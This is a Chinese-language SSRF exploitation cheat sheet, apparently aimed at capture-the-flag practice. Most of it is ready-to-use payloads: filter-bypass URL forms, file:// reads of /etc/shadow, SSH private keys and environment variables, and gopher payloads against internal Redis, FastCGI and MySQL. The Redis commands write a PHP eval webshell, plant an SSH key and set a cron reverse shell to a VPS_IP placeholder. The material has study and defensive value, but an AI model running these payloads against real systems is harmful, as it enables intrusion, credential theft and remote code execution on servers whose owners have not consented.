前言

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求、由服务端发起请求的安全漏洞。SSRF 的目标通常是外网无法直接访问的内网系统,配合各种协议可以演变为代码执行、文件读取、端口扫描等多种攻击方式。


一、常用协议及用途

协议 用途 示例
file:// 读取本地文件 file:///etc/passwd
dict:// 字典服务协议,端口扫描(比 ftp 快) dict://192.168.1.1:6379/info
ftp:// FTP 协议,端口扫描 / 文件传输 ftp://vps/evil.txt
sftp:// SSH 文件传输协议(安全 FTP) sftp://vps/evil.txt
ldap:// 轻量级目录访问协议 ldap://127.0.0.1:389/...
tftp:// 简单文件传输协议 tftp://vps/evil.txt
gopher:// 分布式文档传输协议,可构造任意 TCP 数据包 gopher://127.0.0.1:6379/_*1...
http:// / https:// 标准 HTTP,发起对内网 Web 服务的请求 http://127.0.0.1/flag

核心: gopher:// 是 SSRF 中最强大的协议——可以构造任意 TCP payload,打 Redis、MySQL、FastCGI、SMTP 等几乎所有基于 TCP 的文本协议。

常见危险函数

1
2
3
4
5
6
file_get_contents($url)    // 读取 URL 内容,支持 file/gopher/http 等协议
fsockopen($host, $port) // 原始 socket 连接,可发送任意数据
curl_exec($ch) // cURL 发起的请求,支持最全的协议(取决于编译选项)
SoapClient // PHP 原生类,反序列化时可发起 HTTP 请求(CRLF → SSRF)
readfile($url) // 同 file_get_contents
fopen($url, 'r') // 打开 URL 流

二、信息收集

2.1 敏感文件读取(file:// 协议)

1
2
3
4
5
6
7
8
9
10
11
12
13
file:///etc/passwd              # 用户信息
file:///etc/hosts # 主机名映射(查看内网其他主机)
file:///proc/net/arp # ARP 缓存表(发现内网存活主机)
file:///proc/net/fib_trie # 路由表(获取网段信息)

# 更多敏感文件
file:///etc/shadow # 密码 shadow(高权限可读)
file:///etc/crontab # 定时任务
file:///root/.bash_history # root 命令历史
file:///root/.ssh/id_rsa # SSH 私钥
file:///var/run/docker.sock # Docker socket(可能被滥用)
file:///proc/self/environ # 环境变量
file:///proc/self/cmdline # 当前进程命令行参数

2.2 端口扫描流程

  1. dict://http:// 对内网 IP 发起端口探测,根据响应时间判断端口是否开放
  2. dict:// 协议扫描速度比 ftp:// 更快
  3. 再通过 /proc/net/arp/etc/hosts 验证扫描结果
1
2
3
4
dict://172.16.0.1:22/info       # SSH 端口
dict://172.16.0.1:6379/info # Redis 端口
dict://172.16.0.1:3306/info # MySQL 端口
dict://172.16.0.1:8080/info # Web 端口

三、127.0.0.1 绕过

3.1 多样化的 IP 写法

1
2
3
4
5
6
7
8
9
127.0.0.1                        # 标准形式
0.0.0.0 # 在某些系统中等价于 127.0.0.1
0 # 简写,指向本机
127.1 # 省略中间的 0
0177.0.0.01 # 点分八进制
0x7F.0x00.0x00.0x01 # 点分十六进制
0x7F000001 # 完整十六进制
0b01111111.0b00000000.0b00000000.0b00000001 # 点分二进制
2130706433 # 十进制大整数

原理: 很多语言的 IP 解析库接受各种进制和简写形式。PHP 的 inet_ptonFILTER_VALIDATE_IP 处理严格,但 curl / file_get_contents 底层走 libcurl,支持多种写法。

3.2 短网址 / 域名跳转绕过

1
2
3
sudo.cc                          # 解析到 127.0.0.1 的域名
localtest.me # 解析到 127.0.0.1
127.0.0.1.nip.io # nip.io 泛域名解析

3.3 xip.io / nip.io 泛域名

1
2
3
4
http://10.1.1.3.xip.io          # 解析到 10.1.1.3
http://www.10.1.1.3.xip.io # 同上
http://10.1.1.3.xip.name # xip.name 备用
http://10.1.1.3.nip.io # nip.io 替代(国内可能更稳定)

3.4 @ 符号截断

1
2
3
4
5
http://ctf.com@127.0.0.1/flag.php
# 浏览器/curl 把 ctf.com 当用户名,实际访问 127.0.0.1

http://preview:polar@127.0.0.1:80/
# preview = 用户名, polar = 密码

如果 WAF 只检查 URL 中是否包含 http://ctf 这类关键字,@ 可以在前面放一个合法的域名白名单,后半部分才是真实的攻击目标。

3.5 中文句号 / Unicode 特殊字符绕过

. 被过滤时,用 Unicode 全角句号 替代,部分解析库会将其归一化为 .

1
2
http://127。0。0。1/flag.php
http://127.0.0.1/flag.php

3.6 DNS 重绑定(DNS Rebinding)

利用 DNS TTL 极短(0 秒),让两次 DNS 解析返回不同 IP:

  • 第一次解析 → 合法外网 IP(通过 WAF 的白名单检查)
  • 第二次解析 → 127.0.0.1(实际发起请求时打到内网)

工具:https://lock.cmpxchg8b.com/rebinder.html

原理细节:

  1. 服务端收到 URL,调用 DNS 解析 → 得到外网 IP → 通过 IP 白名单检查
  2. 服务端发起真正的 HTTP 请求时,DNS 缓存已过期,重新解析 → 得到 127.0.0.1
  3. 请求发到了本机内网服务

3.7 302 跳转绕过(重定向)

当后端只允许传入外网 IP 时,在自己的 VPS 上部署一个 302 跳转脚本:

1
2
3
4
<?php
// redirect.php — 放在 VPS 上
header('Location: http://127.0.0.1/flag.php');
?>
1
2
3
4
# 攻击 payload
?url=http://vps/redirect.php
# 第一次请求到 VPS → 白名单通过
# curl 跟随 302 → 跳到 127.0.0.1 内网

注意: 需要 curl 开启了 CURLOPT_FOLLOWLOCATION 才会跟随 302。file_get_contents 默认不跟随,但可设置 stream context。

3.8 直接使用 IPv6

1
2
3
http://[::1]/flag.php            # IPv6 的 localhost
http://[::ffff:127.0.0.1]/flag.php # IPv4-mapped IPv6
http://[0:0:0:0:0:0:0:1]/flag.php # IPv6 localhost 全写

四、Gopher 协议详解

Gopher 是 SSRF 中的核心武器——可以构造任意 TCP 数据包,几乎能打所有基于 TCP 的文本协议。

4.1 基本格式

1
2
3
gopher://<host>:<port>/_<TCP data>

# _ 后面跟的是原始 TCP 数据(URL 编码后的)

4.2 URL 编码层级

这是最容易犯错的地方。数据经过两次传递:

1
攻击者 → Web 服务器(第一次 URL 解码)→ 内网目标(第二次 URL 解码,拿到原始数据)

所以 gopher payload 需要对数据做两次 URL 编码

  • 第一次编码后的结果:服务器拿到后解码一次,恢复成内网服务能消化的原始协议数据
  • 但内网服务收到的已经是解码后的了——所以实际上是对原始数据整体做一次 URL 编码即可

更简单的理解:把要发到内网的原始 HTTP/tcp 数据做一次 URL 编码,放在 gopher://127.0.0.1:80/_ 后面。如果中间有代理/WAF 会再解码一次,那就需要两次编码。用 Gopherus 工具自动生成最稳妥。

4.3 Gopherus 工具

Gopherus 是一个自动生成 gopher payload 的 Python 工具,支持:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcached
  • SMTP

4.4 手动构造 — HTTP GET 请求

1
2
3
4
5
6
原始 HTTP 请求:
GET /index.php?name=test HTTP/1.1
Host: victim.com
(后面必须有一个空行 \r\n)

URL 编码 → 放在 gopher://127.0.0.1:80/_ 后面

4.5 手动构造 — HTTP POST 请求(含 XXE payload)

1
2
3
4
5
6
7
8
POST /index.php HTTP/1.1
Host: victim.com
Content-Type: application/xml
Content-Length: 100

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>

注意:POST body 后面的换行符不能少

4.6 Gopher 打 Redis 未授权

Redis 是 SSRF 最常见的内网攻击目标之一。默认监听 127.0.0.1:6379,无密码认证。

方式一:写 Webshell

1
2
3
4
5
# Redis 原始命令
config set dir /var/www/html
config set dbfilename shell.php
set payload "<?php @eval($_POST[1]);?>"
save

通过 gopher 发送(经过 Gopherus 生成或手动构造 RESP 协议数据包)。

方式二:写入 SSH 公钥

1
2
3
4
5
6
7
8
9
10
11
# 在攻击机生成密钥对
ssh-keygen -t rsa # 在 ~/.ssh/ 下生成 id_rsa 和 id_rsa.pub

# Redis 命令
config set dir /root/.ssh/
config set dbfilename authorized_keys
set payload "\n\n<公钥内容>\n\n"
save

# 攻击机 SSH 连接
ssh -i id_rsa -p 2222 root@target

注意: 公钥内容前后需要加换行符,否则会和 Redis 的二进制数据粘连,导致 SSH 不识别。

方式三:计划任务反弹 shell(CentOS)

1
2
3
4
config set dir /var/spool/cron/
config set dbfilename root
set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/VPS_IP/8888 0>&1\n\n"
save

限制: 仅在 root 权限下可行,且目标为 CentOS(Ubuntu 的 cron 格式不同)。Redis 写入文件时会在内容前后夹杂二进制数据,可能破坏 cron 格式导致不执行。此方式不稳定,优先用写 Webshell 或 SSH 公钥。

4.7 Gopher 打 MySQL(需认证凭据)

MySQL 的通信协议是二进制的,但如果有用户名密码,可以通过 SSRF 进行读取文件操作:

1
2
3
-- 通过 MySQL 的 LOAD DATA LOCAL 特性(需要客户端开启)
-- 或者用 Rogue MySQL Server 攻击客户端
-- 实际利用通常依赖 Gopherus 自动生成

4.8 Gopher 打 FastCGI

FastCGI 默认监听 127.0.0.1:9000(PHP-FPM),不需要认证即可执行 PHP 代码:

1
2
3
构造 FastCGI 协议包,修改 PHP_VALUE 或 PHP_ADMIN_VALUE 参数:
- 设置 auto_prepend_file=php://input
- 或在 fastcgi params 中直接传 PHP 代码

Gopherus 可以直接生成 FastCGI payload。

4.9 Gopher 打文件上传

如果内网有文件上传接口,可以通过 gopher 构造完整的 multipart 请求:

1
2
3
4
5
6
7
8
9
10
11
POST /ssrf/upload.php HTTP/1.1
Host: 192.168.1.207:9091
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIudzaMDs2XDrRaKS
Content-Length: 305

------WebKitFormBoundaryIudzaMDs2XDrRaKS
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/jpg

<?php phpinfo();?>
------WebKitFormBoundaryIudzaMDs2XDrRaKS--

URL 编码后放在 gopher://127.0.0.1:80/_ 后面即可。


五、RESP 协议(Redis Serialization Protocol)

RESP 是 Redis 的通信协议,简单的文本协议。当需要手动构造 gopher payload 打 Redis 时,理解 RESP 格式很重要。

5.1 基本数据类型

类型 前缀 示例
简单字符串 + +OK\r\n
错误 - -ERR unknown command\r\n
整数 : :1\r\n
批量字符串 $ $5\r\nhello\r\n
数组 * *3\r\n...

5.2 编码规则

批量字符串:

1
2
$5\r\n           # 后面的字符串长度为 5
hello\r\n # 字符串内容

数组(多个命令组合):

1
2
3
4
5
6
7
*3\r\n           # 数组包含 3 个元素
$3\r\n # 第 1 个元素:长度为 3 的字符串
SET\r\n # "SET"
$7\r\n # 第 2 个元素:长度为 7 的字符串
payload\r\n # "payload"
$23\r\n # 第 3 个元素:长度为 23 的字符串
<?php phpinfo();?>\r\n

5.3 手动将 Redis 命令转为 RESP

以 Redis 写 Webshell 为例:

1
2
3
4
5
# 原始命令
config set dir /var/www/html
config set dbfilename shell.php
set payload "<?php @eval($_POST[1]);?>"
save

转为 RESP 格式:

1
2
3
4
*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\nDIR\r\n$13\r\n/var/www/html\r\n
*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\nshell.php\r\n
*3\r\n$3\r\nSET\r\n$7\r\npayload\r\n$24\r\n<?php @eval($_POST[1]);?>\r\n
*1\r\n$4\r\nSAVE\r\n

然后整体做 URL 编码 → 拼到 gopher://127.0.0.1:6379/_ 后面。

QUIT 退出:

1
*1\r\n$4\r\nQUIT\r\n

工具推荐: Gopherus 可以一键生成 Redis / MySQL / FastCGI / Memcached 的 gopher payload,不需要手写 RESP。


六、DNS 重绑定绕过详解

6.1 原理

DNS 重绑定利用 DNS 协议中 TTL 为 0 的特性:

  1. 攻击者注册一个域名,设置 TTL = 0,DNS 设置为自己的恶意 DNS 服务器
  2. 受害者服务端做 URL 检查时,DNS 解析返回合法外网 IP(白名单通过)
  3. 检查通过后,TTL 到期 → 服务端再次发起请求时重新解析 → 返回 127.0.0.1
  4. 实际请求被导向内网

6.2 工具

  • https://lock.cmpxchg8b.com/rebinder.html — 在线 DNS Rebinding 生成器
  • rebind.it — DNS rebinding 服务
  • 自建 DNS 服务器(更可控)

6.3 自建 DNS 服务器

1
2
3
# dns_rebind.py — 自建 DNS 绑定服务器
# 第一次查询返回外网 IP,之后返回 127.0.0.1
# 实际使用时注意检查 IP 归属

更简单的方式是使用支持 rebinding 的在线服务,输入两个 IP 即可生成绑定域名。


七、综合利用链

7.1 SSRF → Redis → Webshell

1
2
3
file_get_contents(url) → gopher://127.0.0.1:6379/_{RESP payload}
→ Redis CONFIG SET dir → CONFIG SET dbfilename → SET → SAVE
→ Webshell 写入成功

7.2 SSRF → FastCGI → RCE

1
2
3
curl_exec(url) → gopher://127.0.0.1:9000/_{FastCGI payload}
→ PHP-FPM 执行任意代码
→ 反弹 shell 或写 Webshell

7.3 SSRF → 内网 MySQL → 文件读取

1
2
已知 MySQL 用户名密码 → gopher://172.16.0.2:3306/_{MySQL payload}
→ LOAD DATA LOCAL / SELECT INTO OUTFILE 读/写文件

7.4 SSRF → SoapClient 反序列化 → 内网攻击

1
2
unserialize(用户可控数据) → SoapClient 发起 HTTP 请求
→ CRLF 注入控制请求头/请求体 → 打内网 Redis / 其他服务

总结速查

场景 方法 关键点
端口扫描 dict://ip:port/info 比 ftp 快;http:// 也可根据超时判断
读文件 file:///path /proc/net/arp 发现内网 / /etc/passwd
绕过 127.0.0.1 八进制 0177.0.0.01 / 十六进制 0x7F000001 / 十进制 2130706433 / 0 每种写法都可能绕过一个特定的过滤器
绕过域名白名单 @ 截断 / 302 跳转 / DNS 重绑定 @ 最简单,DNS 重绑定最彻底
绕过 . 过滤 全角句号 / xip.io 依赖解析器的容错
打 Redis gopher:// + RESP 协议 写 Webshell / SSH 公钥 / 计划任务
打 FastCGI gopher://127.0.0.1:9000 + FastCGI 协议 PHP-FPM 直接 RCE
打 MySQL gopher:// + MySQL 协议(需凭据) 文件读取 / LOAD DATA
文件上传 gopher:// + multipart 构造 完整 HTTP POST 请求
curl 不跟随 302 CURLOPT_FOLLOWLOCATION 未开启 尝试 file:// / gopher:// 直接打

核心思路: SSRF 的本质是让服务器替你发请求。能不能 RCE,取决于内网有什么服务、支持什么协议、以及你能控制多少请求内容。gopher 协议把”控制请求内容”做到了极致——包体、包头全部可控。